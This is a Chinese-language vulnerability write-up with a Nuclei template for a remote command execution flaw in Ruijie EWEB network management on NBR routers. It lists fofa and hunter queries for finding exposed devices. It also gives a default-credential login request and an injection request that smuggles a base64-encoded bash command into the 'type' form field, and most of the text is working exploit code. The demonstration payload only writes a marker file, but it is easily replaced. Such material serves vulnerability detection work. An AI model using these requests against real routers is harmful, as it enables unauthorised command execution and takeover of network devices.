锐捷EWEB flwo.contro存在远程命令执行漏洞
一、漏洞简介
锐捷EWEB flwo.contro存在远程命令执行漏洞
二、影响版本
- 锐捷NBR路由器
三、资产测绘
- hunter
app.name=="Ruijie 锐捷 EWEB" - fofa
title="锐捷网络-EWEB网管系统" - 登录页面
四、漏洞复现
先发送数据包，获取cookie
POST /ddi/server/login.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0
username=admin&password=admin?
使用获取cookie执行命令
cm0gLXJmIC4uL2lrbTEyMy50eHQgJiYgZWNobyBIZWxsb1dvcmxkID4gLi4vaWttMTIzLnR4dCAyPiYx
Bsae64解码
rm -rf ../ikm123.txt && echo HelloWorld > ../ikm123.txt 2>&1POST /flow_control_pi/flwo.control.php?a=getFlowGroup HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0
Connection: close
Content-Length: 160
Content-Type: application/x-www-form-urlencoded
Cookie: RUIJIEID=e3t2n743strq8lu1anqod3bhu6;
Accept-Encoding: gzip
type=%7Cbash+-c+%27echo+cm0gLXJmIC4uL2lrbTEyMy50eHQgJiYgZWNobyBIZWxsb1dvcmxkID4gLi4vaWttMTIzLnR4dCAyPiYx+%7C+base64+-d+%7C+bash+%26%26+exit+0%27
3、命令执行成功
/ikm123.txt
五、 Nuclei
id: RJEWEB-flwo-contro-RCE
info:
name: 锐捷 EWEB-RCE-flwo.contro
author: haoguoguo
severity: high
metadata:
fofa-query: title="锐捷网络-EWEB网管系统"
variables:
filename: "{{to_lower(rand_base(5))}}"
boundary: "{{to_lower(rand_base(20))}}"
http:
- raw:
- |
POST /ddi/server/login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0
username=admin&password=admin?
- |
POST /flow_control_pi/flwo.control.php?a=getFlowGroup HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0
Connection: close
Content-Length: 160
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
type=%7Cbash+-c+%27echo+{{base64("rm -rf ../{{filename}}.txt && echo HelloWorld > ../{{filename}}.txt 2>&1")}}+%7C+base64+-d+%7C+bash+%26%26+exit+0%27
- |
GET /{{filename}}.txt HTTP/1.1
Host:{{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Length: 0
matchers:
- type: dsl
dsl:
- status_code==200 && contains_all(body,"HelloWorld")